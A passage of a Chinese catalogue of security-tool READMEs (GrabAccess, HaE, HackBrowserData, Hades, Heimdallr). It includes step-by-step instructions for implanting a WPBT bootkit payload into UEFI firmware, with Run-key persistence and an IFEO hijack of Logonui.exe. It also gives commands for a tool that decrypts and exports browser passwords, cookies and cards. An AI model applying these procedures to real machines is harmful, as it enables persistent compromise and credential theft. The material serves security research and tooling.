将固件刷回主板\n\n不同主板的第2和第4步有较大不同。部分主板可以通过软件方式刷新固件，但也有部分主板存在校验，只能使用编程器刷新。因差异众多，在此不深入讨论，读者可以自行在网上搜索某型号主板对应的方式。\n\n将GrabAccess与要植入的程序打包的方式与前文相同，即：将需要植入的程序命名为payload.exe，放置在GrabAccess的根目录，运行build.bat进行打包。结束后得到`native.exe`，稍后将会用到。\n\n在提取到主板UEFI固件后，使用[UEFITool](https://github.com/LongSoft/UEFITool)打开，按下`Ctrl+F`，选择`Text`，搜索`pcibus`，在下方双击搜索到的第一项。\n\n![6](https://raw.githubusercontent.com/Push3AX/GrabAccess/main/images/6.png)\n\n在`pcibus`这一项上右键，选择`Insert before`，然后选取[GrabAccess_Release.zip](https://github.com/Push3AX/GrabAccess/releases/download/Version1.1/GrabAccess_Release_1.1.0.zip)中`UEFI_FSS`文件夹的`GrabAccessDXE.ffs`。\n\n![7](https://raw.githubusercontent.com/Push3AX/GrabAccess/main/images/7.png)\n\n插入`GrabAccessDXE`后，在`GrabAccessDXE`上右键，选择`Insert before`，插入`UEFI_FSS`文件夹的`native.ffs`。此时应该如下所示：\n\n![8](https://raw.githubusercontent.com/Push3AX/GrabAccess/main/images/8.png)\n\n双击展开`native.ffs`（它没有名字，但GUID是`2136252F-5F7C-486D-B89F-545EC42AD45C`），在`Raw section`上右键，选择`Replace body`，然后选取前文中生成的`native.exe`进行替换。\n\n![9](https://raw.githubusercontent.com/Push3AX/GrabAccess/main/images/9.png)\n\n最后，点击File菜单的`Save image file`，保存固件到文件。\n\n这份固件已经成功植入了Bootkit，将其刷回主板。如果一切顺利，在每一次Windows启动过程中，`native.exe`都会被写入并执行。\n\n如果没有成功，可以尝试以下操作：\n\n1. 关闭UEFI设置中的`Security Boot`和`CSM`，确定操作系统是通过UEFI模式加载的。\n2. 向固件插入`UEFI_FSS`文件夹下的`pcddxe.ffs`（方法同前文。但注意，这个模块可能会与其它模块冲突造成不能开机，仅建议在使用编程器的情况下尝试！）\n\n\n\n## 系统支持情况\n\nGrabAccess仅支持UEFI引导下的Windows系统，目前仅支持x64系统。\n\n已测试Windows 10 (1803, 22H2)和Windows 11(23H2)。包括使用了TPM、联网账户、Pin码的情况。但不支持绕过Security Boot。\n\n\n\n# 原理解析\n\n## Windows Platform Binary Table\n\n和Kon-boot篡改Windows内核不同，GrabAccess的工作原理，源自于Windows的一项合法后门：WPBT（Windows Platform Binary Table）。\n\nWPBT常用于计算机制造商植入驱动管理软件、防丢软件。类似Bootkit病毒，一旦主板中存在WPBT条目，无论是重装系统还是更换硬盘，只要使用Windows系统，开机后都会被安装指定程序。\n\nWPBT的原始设计，应当是由生产商在主板的UEFI固件中插入一个特定的模块实现。但是，通过劫持UEFI的引导过程，攻击者可以插入WPBT条目，而无需修改主板固件。\n\n\n\n## GrabAccess做了什么\n\nGrabAccess包含两个部分。\n\n其一是用于写入WPBT条目的UEFI应用程序，即源码中的Stage1-UEFI。它们用于在UEFI环境下向ACPI表写入WPBT条目。\n\n其二是一个Windows Native Application，即源码中的Stage2-NativeNT，用于写出最终Payload和添加启动项。\n\n\n\n## Native Application做了什么\n\nWPBT所加载的应用程序，并非常规的Win32程序。而是一个Windows Native Application。它在Windows Native NT阶段执行，早于用户登录。但是Windows提供给Native APP的API，也少于Win32程序。\t\n\n源码中的Stage2-NativeNT负责将其末尾的最终Payload（即用户打包的指定程序）写出到`C:\\\\Windows\\\\System32\\\\GrabAccess.exe`，并为其添加启动项`HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\GrabAccess`。\n\n如果其末尾没有Payload，则通过IFEO劫持Logonui.exe，在Windows登录时显示cmd.exe和netplwiz.exe\n\n\n\n## Credits\n\n1. [Windows Platform Binary Table (WPBT) ](https://download.microsoft.com/download/8/a/2/8a2fb72d-9b96-4e2d-a559-4a27cf905a80/windows-platform-binary-table.docx)\n2. [WPBT-Builder ](https://github.com/tandasat/WPBT-Builder)\n3. [Windows Native App by Fox](http://fox28813018.blogspot.com/2019/05/windows-platform-binary-table-wpbt-wpbt.html)\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/HaE.md",
    "content": "## HaE <https://github.com/gh0stkey/HaE>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![Author](https://img.shields.io/badge/Author-gh0stkey-orange)\n![GitHub stars](https://img.shields.io/github/stars/gh0stkey/HaE.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V5.1.1-red)\n![Time](https://img.shields.io/badge/Join-20210120-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n## 项目介绍\n\n**HaE**是一款**网络安全（数据安全）领域**下的框架式项目，采用了**乐高积木式**模块化设计理念，实现对HTTP消息（包含WebSocket）精细化的标记和提取。\n\n通过运用**多引擎**的自定义正则表达式，HaE能够准确匹配并处理HTTP请求与响应报文（包含WebSocket），对匹配成功的内容进行有效的标记和信息抽取，从而提升网络安全（数据安全）领域下的**漏洞和数据分析效率**。\n\n> 随着现代化Web应用采用前后端分离的开发模式，日常漏洞挖掘的过程中，捕获的HTTP请求流量也相应增加。若想全面评估一个Web应用，会花费大量时间在无用的报文上。**HaE的出现旨在解决这类情况**，借助HaE，您能够**有效减少**测试时间，将更多精力集中在**有价值且有意义**的报文上，从而**提高漏洞挖掘效率**。\n\nGitHub项目地址：https://github.com/gh0stkey/HaE\n\nGitCode项目地址：https://gitcode.com/gh0stkey/HaE\n\n**所获荣誉**:\n\n1. [入选2022年KCon兵器谱](https://mp.weixin.qq.com/s/JohMsl1WD29LHCHuLf8mVQ)\n2. [入选GitCode G-Star项目](https://gitcode.com/gh0stkey/HaE)\n\n**注意事项**:\n\n1. HaE 3.0版本开始采用`Montoya API`进行开发，使用新版HaE需要升级你的BurpSuite版本（>=2023.12.1）。\n2. HaE 2.6版本后对规则字段进行了更新，因此无法适配<=2.6版本的规则，请用户自行前往[规则转换页面](https://gh0st.cn/HaE/ConversionRule.html)进行转换。\n3. 自定义HaE规则必须用左右括号`()`将所需提取的表达式内容包含，例如你要匹配一个**Shiro应用**的响应报文，正常匹配规则为`rememberMe=delete`，在HaE的规则中就需要变成`(rememberMe=delete)`。\n\n## 使用方法\n\n插件装载: `Extender - Extensions - Add - Select File - Next`\n\n初次装载`HaE`会从Jar包中加载离线的规则库，如果更新可以点击`Reinit`进行重新初始化。内置规则库地址可以在Github上找到：`https://github.com/gh0stkey/HaE/blob/master/src/main/resources/rules/Rules.yml`。\n\n配置文件（`Config.yml`）和规则文件（`Rules.yml`）会放在固定目录下：\n\n1. Linux/Mac用户的配置文件目录：`~/.config/HaE/`\n2. Windows用户的配置文件目录：`%USERPROFILE%/.config/HaE/`\n\n除此之外，您也可以选择将配置文件存放在`HaE Jar包`的同级目录下的`/.config/HaE/`中，**以便于离线携带**。\n\n### 规则释义\n\nHaE目前的规则一共有8个字段，详细的含义如下所示：\n\n| 字段      | 含义                                                                                                                                                                                                   |\n|-----------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| Name      | 规则名称，主要用于简短概括当前规则的作用。                                                                                                                                                               |\n| F-Regex     | 规则正则，主要用于填写正则表达式。在HaE中所需提取匹配的内容需要用`(`、`)`将正则表达式进行包裹。|\n| S-Regex     | 规则正则，作用及使用同F-Regex。S-Regex为二次正则，可以用于对F-Regex匹配的数据结果进行二次的匹配提取，如不需要的情况下可以留空。|\n| Format     | 格式化输出，在NFA引擎的正则表达式中，我们可以通过`{0}`、`{1}`、`{2}`…的方式进行取分组格式化输出。默认情况下使用`{0}`即可。          |\n| Scope     | 规则作用域，主要用于表示当前规则作用于HTTP报文的哪个部分。支持请求、响应的行、头、体，以及完整的报文。                                                                                                                                               |\n| Engine    | 正则引擎，主要用于表示当前规则的正则表达式所使用的引擎。**DFA引擎**：对于文本串里的每一个字符只需扫描一次，速度快、特性少；**NFA引擎**：要翻来覆去标注字符、取消标注字符，速度慢，但是特性（如:分组、替换、分割）丰富。 |\n| Color     | 规则匹配颜色，主要用于表示当前规则匹配到对应HTTP报文时所需标记的高亮颜色。在HaE中具备颜色升级算法，当出现相同颜色时会自动向上升级一个颜色进行标记。                                                                                                                               |\n| Sensitive | 规则敏感性，主要用于表示当前规则对于大小写字母是否敏感，敏感（`True`）则严格按照大小写要求匹配，不敏感（`False`）则反之。                                                                                      |\n\n## 优势特点\n\n1. **功能**：通过对HTTP报文的颜色高亮、注释和提取，帮助使用者获取有意义的信息，**聚焦高价值报文**。\n2. **界面**：清晰可视的界面设计，以及**简洁的界面交互**，帮助使用者更轻松的了解和配置项目，**避免`多按钮`式的复杂体验**。\n3. **查询**：将HTTP报文的高亮、注释和提取到的相关信息**集中在一个数据面板**，可以一键查询、提取信息，从而提高测试和梳理效率。\n4. **算法**：内置高亮颜色的升级算法，当出现相同颜色时**会自动向上升级一个颜色**进行标记，**避免`屠龙者终成恶龙`场景**。\n5. **管理**：**融入BurpSuite的项目数据管理**，当使用BurpSuite进行项目存储时HaE数据也会一并存储。\n6. **实战**：官方规则库和规则字段作用功能，都是**基于实战化场景总结输出**的，**以此提高数据的有效性、精准性发现**。\n\n| 界面名称                  | 界面展示                                              |\n| ------------------------ | ---------------------------------------------------- |\n| Rules（规则管理）     | <img src=\"https://github.com/gh0stkey/HaE/raw/master/images/rules.png\" style=\"width: 80%\" />     |\n| Config（配置管理）    | <img src=\"https://github.com/gh0stkey/HaE/raw/master/images/config.png\" style=\"width: 80%\" />    |\n| Databoard（数据集合） | <img src=\"https://github.com/gh0stkey/HaE/raw/master/images/databoard.png\" style=\"width: 80%\" /> |\n| MarkInfo（数据展示） | <img src=\"https://github.com/gh0stkey/HaE/raw/master/images/markinfo.png\" style=\"width: 80%\" /> |\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v5.1.1] - 2026-03-04\n\n** 问题修复 ** \n - 修复MarkInfo标签页切换时触发数据重复写入，导致Databoard出现跨Host数据错乱的BUG。\n ** 贡献者信息**\n - 感谢@Arg3Sea、Gnihton、强少张参与测试并提供宝贵建议的贡献者！\n\n\n#### [v4.3.2] - 2025-11-25\n\n** 问题修复 ** \n - 修复Databoard面板查询默认选中页面不是第一个的问题。\n - 修复不同Host情况下返回相同内容导致数据无法查询问题。\n ** 贡献者信息**\n - 感谢ArG3、冰淇霖帮助修复问题，并提供宝贵建议！\n\n\n#### [v4.2.1] - 2025-05-08\n\n**功能更新**  \n- 优化缓存池的存储逻辑，为正则部分添加缓存功能，一次编译多次使用。  \n- 新增动态响应头配置，用于去除动态响应头便于缓存。  \n- 新增3条规则，用于进行漏洞探测和验证：Vite DevMode、Passwd File、Win.ini File。 \n**问题修复**  \n- 为规则修改时候增加清空缓存机制，解决规则修改不生效问题。  \n- 优化YAML加载逻辑，确保安全可控的进行配置文件加载。  \n- 修复Config配置不能设为空的问题。\n\n#### [v4.1.2] - 2025-04-02\n\n**功能更新**  \n- 优化Databoard存储逻辑，提升查询速度。  \n- 优化Databoard双击搜索，提升检索效率。  \n- 新增并调整Databoard的Action按钮菜单，提供缓存、数据的多维度清理。\n\n#### [v4.1.1] - 2025-03-25\n\n**功能更新**  \n- 优化Databoard存储逻辑，提升数据处理速度。  \n\n**问题修复**  \n- 修复Databoard展示HTTP消息时存在的重复问题。\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/HackBrowserData.md",
    "content": "## HackBrowserData <https://github.com/moonD4rk/HackBrowserData>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-moonD4rk-orange)\n![GitHub stars](https://img.shields.io/github/stars/moonD4rk/HackBrowserData.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.4.6-red)\n![Time](https://img.shields.io/badge/Join-20201221-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n# HackBrowserData\n\n`HackBrowserData` is a command-line tool for decrypting and exporting browser data (passwords, history, cookies, bookmarks, credit cards, download history, localStorage and extensions) from the browser. It supports the most popular browsers on the market and runs on Windows, macOS and Linux.\n\n> Disclaimer: This tool is only intended for security research. Users are responsible for all legal and related liabilities resulting from the use of this tool. The original author does not assume any legal responsibility.\n\n## Supported Browser\n\n### Windows\n| Browser            | Password | Cookie | Bookmark | History |\n|:-------------------|:--------:|:------:|:--------:|:-------:|\n| Google Chrome      |    ✅     |   ✅    |    ✅     |    ✅    |\n| Google Chrome Beta |    ✅     |   ✅    |    ✅     |    ✅    |\n| Chromium           |    ✅     |   ✅    |    ✅     |    ✅    |\n| Microsoft Edge     |    ✅     |   ✅    |    ✅     |    ✅    |\n| 360 Speed          |    ✅     |   ✅    |    ✅     |    ✅    |\n| QQ                 |    ✅     |   ✅    |    ✅     |    ✅    |\n| Brave              |    ✅     |   ✅    |    ✅     |    ✅    |\n| Opera              |    ✅     |   ✅    |    ✅     |    ✅    |\n| OperaGX            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Vivaldi            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Yandex             |    ✅     |   ✅    |    ✅     |    ✅    |\n| CocCoc             |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Beta       |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Dev        |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox ESR        |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Nightly    |    ✅     |   ✅    |    ✅     |    ✅    |\n| Internet Explorer  |    ❌     |   ❌    |    ❌     |    ❌    |\n\n\n### MacOS\n\nBased on Apple's security policy, some browsers **require a current user password** to decrypt.\n\n| Browser            | Password | Cookie | Bookmark | History |\n|:-------------------|:--------:|:------:|:--------:|:-------:|\n| Google Chrome      |    ✅     |   ✅    |    ✅     |    ✅    |\n| Google Chrome Beta |    ✅     |   ✅    |    ✅     |    ✅    |\n| Chromium           |    ✅     |   ✅    |    ✅     |    ✅    |\n| Microsoft Edge     |    ✅     |   ✅    |    ✅     |    ✅    |\n| Brave              |    ✅     |   ✅    |    ✅     |    ✅    |\n| Opera              |    ✅     |   ✅    |    ✅     |    ✅    |\n| OperaGX            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Vivaldi            |    ✅     |   ✅    |    ✅     |    ✅    |\n| CocCoc             |    ✅     |   ✅    |    ✅     |    ✅    |\n| Yandex             |    ✅     |   ✅    |    ✅     |    ✅    |\n| Arc                |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Beta       |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Dev        |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox ESR        |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Nightly    |    ✅     |   ✅    |    ✅     |    ✅    |\n| Safari             |    ❌     |   ❌    |    ❌     |    ❌    |\n\n### Linux\n\n| Browser            | Password | Cookie | Bookmark | History |\n|:-------------------|:--------:|:------:|:--------:|:-------:|\n| Google Chrome      |    ✅     |   ✅    |    ✅     |    ✅    |\n| Google Chrome Beta |    ✅     |   ✅    |    ✅     |    ✅    |\n| Chromium           |    ✅     |   ✅    |    ✅     |    ✅    |\n| Microsoft Edge Dev |    ✅     |   ✅    |    ✅     |    ✅    |\n| Brave              |    ✅     |   ✅    |    ✅     |    ✅    |\n| Opera              |    ✅     |   ✅    |    ✅     |    ✅    |\n| Vivaldi            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox            |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Beta       |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Dev        |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox ESR        |    ✅     |   ✅    |    ✅     |    ✅    |\n| Firefox Nightly    |    ✅     |   ✅    |    ✅     |    ✅    |\n\n\n## Getting started\n\n### Install\n\nInstallation of `HackBrowserData` is dead-simple, just download [the release for your system](https://github.com/moonD4rk/HackBrowserData/releases) and run the binary.\n\n> In some situations, this security tool will be treated as a virus by Windows Defender or other antivirus software and can not be executed. The code is all open source, you can modify and compile by yourself.\n\n### Building from source\n\nonly support `go 1.21+` with go generics and `log/slog` standard library.\n\n```bash\n$ git clone https://github.com/moonD4rk/HackBrowserData\n\n$ cd HackBrowserData/cmd/hack-browser-data\n\n$ go build\n```\n\n### Cross compile\n\nHere's an example of use `macOS` building for `Windows` and `Linux`\n\n#### For Windows\n\n```shell\nGOOS=windows GOARCH=amd64 go build\n```\n\n#### For Linux\n\n````shell\nGOOS=linux GOARCH=amd64 go build\n````\n\n### Run\n\nYou can double-click to run, or use command line.\n\n```powershell\nPS C:\\Users\\moond4rk\\Desktop> .\\hack-browser-data.exe -h\nNAME:\n   hack-browser-data - Export passwords|bookmarks|cookies|history|credit cards|download history|localStorage|extensions from browser\nUSAGE:\n   [hack-browser-data -b chrome -f json --dir results --zip]\n   Export all browsing data (passwords/cookies/history/bookmarks) from browser\n   Github Link: https://github.com/moonD4rk/HackBrowserData\nVERSION:\n   0.4.6\n\nGLOBAL OPTIONS:\n   --verbose, --vv                   verbose (default: false)\n   --compress, --zip                 compress result to zip (default: false)\n   --browser value, -b value         available browsers: all|360|brave|chrome|chrome-beta|chromium|coccoc|dc|edge|firefox|opera|opera-gx|qq|sogou|vivaldi|yandex (default: \"all\")\n   --results-dir value, --dir value  export dir (default: \"results\")\n   --format value, -f value          output format: csv|json (default: \"csv\")\n   --profile-path value, -p value    custom profile dir path, get with chrome://version\n   --full-export, --full             is export full browsing data (default: true)\n   --help, -h                        show help\n   --version, -v                     print the version\n\n```\n\nFor example, the following is an automatic scan of the browser on the current computer, outputting the decryption results in `JSON` format and compressing as `zip`.\n\n```powershell\nPS C:\\Users\\moond4rk\\Desktop> .\\hack-browser-data.exe -b all -f json --dir results --zip\n\nPS C:\\Users\\moond4rk\\Desktop> ls -l .\\results\\\n    Directory: C:\\Users\\moond4rk\\Desktop\\results\n    \nMode                 LastWriteTime         Length Name\n----                 -------------         ------ ----\n-a----         7/15/2024  10:55 PM          44982 results.zip\n```\n\n\n### Run with custom browser profile folder\n\nIf you want to export data from a custom browser profile folder, you can use the `-p` parameter to specify the path of the browser profile folder. PS: use double quotes to wrap the path.\n```powershell\nPS C:\\Users\\moond4rk\\Desktop> .\\hack-browser-data.exe -b chrome -p \"C:\\Users\\User\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\"\n\n[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_creditcard.csv success  \n[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_bookmark.csv success  \n[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_cookie.csv success  \n[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_history.csv success  \n[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_download.csv success  \n[NOTICE] [browsingdata.go:59,Output] output to file results/chrome_password.csv success  \n```\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2022-09-08 发布演示视频[404星链计划开源安全工具演示——HackBrowserData](https://www.bilibili.com/video/BV1eU4y1z7si)\n\n## 最近更新\n\n#### [v0.4.6] - 2024-07-16\n\n**更新**  \n- 重构项目并更新 repo deploy  \n- 重构 logger 到标准库  \n- 移除 CGO go-sqlite3 改用纯 go 驱动  \n- 优化加解密模块  \n- 重构获取浏览器数据的逻辑  \n- 跳过 chromium 快照目录以找到正确的密码数据库  \n- 改进浏览浏览器配置文件目录时的错误处理  \n- 优化 GitHub 操作和依赖项更新\n\n#### [v0.4.5] - 2024-01-09\n\n**新增**  \n- 添加搜狗和dc浏览器  \n- 格式化项目布局  \n- 添加完全导出浏览数据选项  \n- 支持 macOS 的 Arc 浏览器  \n- 改进扩展解析  \n\n**修复**  \n- 修复日志错误并删除已弃用的 linter  \n- 修复运行二进制文件失败时的句柄错误  \n- 修复数据丢失导致标题为空的问题  \n- 修复命令行使用提示不完整的bug  \n- 修复错误的日志调用者跳过级别  \n- 修复 Firefox 文件遍历中的错误  \n- 解密主密钥失败时发出的警告  \n- 改进浏览数据和文件复制功能中的错误处理  \n\n**优化**  \n- 优化 JSON 缩进输出格式  \n- 优化添加提供商软件文件夹和 linter 检查\n\n#### [v0.4.4] - 2022-08-16\n\n**更新**  \n- 修复 chrome 在 windows 上获取 cookie 内容失败的问题  \n- 在 CI 中添加了更多检查  \n- 优化  golangci-lint 代码  \n- 修复压缩结果时无法访问文件的问题\n\n#### [v0.4.3] - 2022-06-05\n\n**更新**  \n- 新增支持从浏览器导出多个用户  \n- 修复当过滤结果为空并导出到 csv 时，对其进行 utf8 编码  \n- 修复 Windows 下 Chrome 和 OperaGx 的配置文件夹  \n- 修复拼写错误\n\n#### [v0.4.2] - 2022-05-01\n\n**更新**  \n- 新增导出扩展\n- 新增设置控制台 log 日志的色彩  \n- 文档添加 HackBrowserData 的 logo\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Hades.md",
    "content": "## Hades <https://github.com/theSecHunter/Hades>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang&C++&C-blue)\n![Author](https://img.shields.io/badge/Author-theSecHunter-orange)\n![GitHub stars](https://img.shields.io/github/stars/theSecHunter/Hades.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1.0-red)\n![Time](https://img.shields.io/badge/Join-20220829-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n[English](https://github.com/theSecHunter/Hades/blob/main/README.md) | 中文文档\n\nHades 是一款支持 Windows/Linux 的内核级别数据采集主机入侵检测系统，其中每个插件均可独立分开运行。\n\n- [Hboat (服务端 demo)](https://github.com/theSecHunter/Hboat)\n- [Hades-Windows](https://github.com/theSecHunter/Hades-Linux) @TimelifeCzy\n- [Hades-Linux](https://github.com/chriskaliX/Hades) @chriskaliX\n\n目前该仓库为其他组件的整合，可以点击上述链接获取组件详情\n\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v1.1.0] - 2023-01-31\n\n**更新**  \n- ebpf插件支持arm64，支持简易端口扫描检测以及其余问题修复  \n- win插件支持进程拦截、注册表拦截、目录保护、注入检测\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Heimdallr.md",
    "content": "## Heimdallr <https://github.com/graynjo/Heimdallr>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-JavaScript-blue)\n![Author](https://img.shields.io/badge/Author-graynjo-orange)\n![GitHub stars](https://img.shields.io/github/stars/graynjo/Heimdallr.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1.3-red)\n![Time](https://img.shields.io/badge/Join-20221117-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n**Heimdallr**是一款致力于被动嗅探浏览器流量，用于**提示漏洞框架指纹**、**告警拦截蜜罐请求**、**对抗浏览器特征追踪**（浏览器持久化、webRTC、Canvas画布等）的Chrome插件。\n\n![image-20221017154419189](https://github.com/graynjo/Heimdallr/raw/main/README.assets/image-20221017154419189.png)\n\n![image-20221017154934546](https://github.com/graynjo/Heimdallr/raw/main/README.assets/image-20221017154934546.png)\n\n## 🥑安装\n\n1. GitHub Releases 下载插件最新编译版本\n2. Chrome浏览器-扩展设置-开发者模式-加载已解压的扩展程序\n\n![image-20221017154934546](https://github.com/graynjo/Heimdallr/raw/main/README.assets/image-20221104111153079.png)\n\n> 注意：Chrome版本需高于Chrome v96，部分代码逻辑不适配edge和firefox，请勿混用于非Chrome浏览器\n\n## 🚀使用\n\n### 基本功能\n\n高危漏洞资产指纹识别和蜜罐jsonp请求识别功能无需配置，只要插件开启即可生效。\n\n- 高危漏洞资产指纹识别规则103条，涉及框架或产品如下：\n\n> ueditor、struts2、spring、weblogic、shiro、F5 BIG-IP、致远OA、用友NC、用友畅捷通、通达OA、心通达OA、新点OA、帆软报表、蓝凌OA、红帆OA、华天动力OA、万户OA、金蝶云、协众OA、金和OA、海昌OA、泛微多个产品(ecology、eoffice、ebridge、emobile)、拓尔思SSO、拓尔思内容管理系统、亿邮邮件、coremail邮件、Exchange邮件、若依后台管理系统、Wordpress、小鱼易连云视讯、tomcat、iis、jboss、jetty、ibm websphere、weblogic、thinkphp、showdoc、Laravel、kindeditor、fckeditor、ewebeditor、jeesite、海康威视多个产品（网络摄像头、安防管理平台、图像综合应用平台）、dedecms、jira、confluence、java web、博达站群、dubbo、向日葵客户端、宝塔waf、宝塔面板、米拓cms、teleport堡垒机、齐治堡垒机、帕拉迪堡垒机、H3C堡垒机、绿盟防火墙、安全狗Waf\n\n- 蜜罐特征告警规则151条，涉及敏感域名请求(jsonp)、蜜罐网页资源特征、蜜罐对本机特殊软件（如Burpsuite）的探测请求、网站流量分析与跟踪请求、敏感关键词、敏感脚本调用等。\n\n> 为了保证请求的最全面捕获，Heimdallr中不进行请求种类（如script、XMLHttpRequest等）的筛选，因此插件默认只进行蜜罐请求识别而不作拦截，若开启蜜罐请求拦截会影响正常访问CSDN、Github等网站的正常访问，可以通过日常使用时暂停插件（控制-暂停/开启插件）或关闭蜜罐拦截功能（策略配置-蜜罐拦截配置）解决。\n>\n> 因部分框架或产品（如百度网站在线客服会调用5个敏感域名、高德地图嵌入会调用高德域名）的正常使用也会出现Jsonp敏感域名的访问，故同一站点的Jsonp请求超过10个时，基本可以确定为蜜罐站点，此时将会出现系统弹窗告警（弹窗需要操作系统开启浏览器弹窗权限，该权限默认开启）。低于10个的敏感域名请求，使用者可根据当前站点内容和告警域名的关联度进行判断，例如某个小企业官网可能调用百度商桥接口实现在线客服功能，但一般不会调用虎牙直播账号接口或联通一键登录热点溯源接口。\n\n### 控制\n\n右上角三个选项分别为暂停/开启插件、清除所有嗅探结果集、设置选项。\n\n> 暂停插件后，会清空所有页面的嗅探结果集，关闭对请求和响应的监听，扩展功能中仅WebRTC防护功能不关闭，其他的功能都会随插件暂停而暂停。\n\n### 扩展功能\n\n扩展功能由策略配置页面配置\n\n![image-20221017093032294](https://github.com/graynjo/Heimdallr/raw/main/README.assets/image-20221017093032294.png)\n\n#### 被动识别配置-启用响应体规则匹配\n\n- 建议设置：仅在攻击期间对需高度关注页面（口子、靶标）开启该选项，用完即关\n\n> 默认情况下，被动嗅探只对请求响应的URL、Request Header、Request Body、Response Header进行匹配，仅有较少部分高危指纹在Response Body中检测，开启该选项后会启用devtools调用chrome devtools protocol，检测Response Body中的指纹。但是启用该选项后会出现调试提示栏，如需关闭参考高级-4\n\n#### 被动识别配置-关闭浏览器页面缓存（强制刷新）\n\n- 建议设置：默认开启该选项\n\n> 部分包含特征规则的静态资源（如JS文件）会在一次调用后存储在磁盘中，减少重复加载耗费的流量和带宽。这会导致识别规则在重复刷新页面是不会重复触发。开启该选项后可以达到更完善的特征识别，这也可以防止部分情况下静态资源文件不能及时更新导致的访问异常\n\n#### 蜜罐拦截配置-符合蜜罐特征请求自动拦截\n\n- 建议设置：攻击期间开启，日常使用时关闭\n\n> 为保证能够识别、阻断部分新的Jsonp请求，插件按照请求域名进行拦截，这会导致开启该选项后访问部分日常网站（CSDN、GitHub等）会被阻断，影响日常访问。因此默认情况下插件不会拦截疑似蜜罐的Jsonp请求，需要手动开启拦截选项.日常网站被拦截也可以通过右上角的暂停插件按钮暂停，访问结束后重新启动插件。但是更建议的方式为日常使用浏览器和攻击使用浏览器分离开来，专事专用\n\n#### 特征对抗配置-清除所有浏览器持久化项数据\n\n- 建议设置：在被cookie追踪或其他持久化手段追踪浏览器特征时清除数据\n\n> 清除的浏览器持久化项包括：网站应用缓存（appcache）、网站资源缓存、网站缓存存储、Cookie、网络文件系统、表单数据记录、索引数据库（indexDB）、localStorage、密码记录、网络SQL数据（webSQL）\n> \n> **警告**：清除的数据中包含密码记录，即浏览器的密码管理器的记录。如果你使用浏览器自带的密码管理器和Google账号进行密码记录和维护，清除浏览器的密码管理器记录可能导致Google账号同步的密码被置空。再次建议将攻击主机和日常使用的主机分离，不在攻击主机上登录或保存任何私人有关的账号。\n\n#### 特征对抗配置-WebRTC 防IP泄露严格策略\n\n- 建议设置：安装后手动开启该选项\n\n> 通过提高WebRTC策略严格度防止真实IP泄露，已知Chrome v104（截至2022.9.1）仍存在该漏洞，此选项可在并建议在日常使用时也开启\n> 请勿将此策略与其他WebRTC防护插件（如WebRTC Control或WebRTC Leak Prevent）同时使用，各插件调节WebRTC策略会互相干涉，暂停其他插件的使用时的API调用也会影响Heimdallr的调节逻辑。\n\n#### 特征对抗配置-Canves噪点干扰脚本注入\n\n- 建议设置：攻击期间开启，日常使用时关闭\n\n> 通过对当前网页注入内容脚本增加Canvas画布噪点防止特征锁定，开启后所有网页访问时将会额外加载content.js用于画布类的函数hook操作\n\n\n\n## 🔔高级\n\n1. 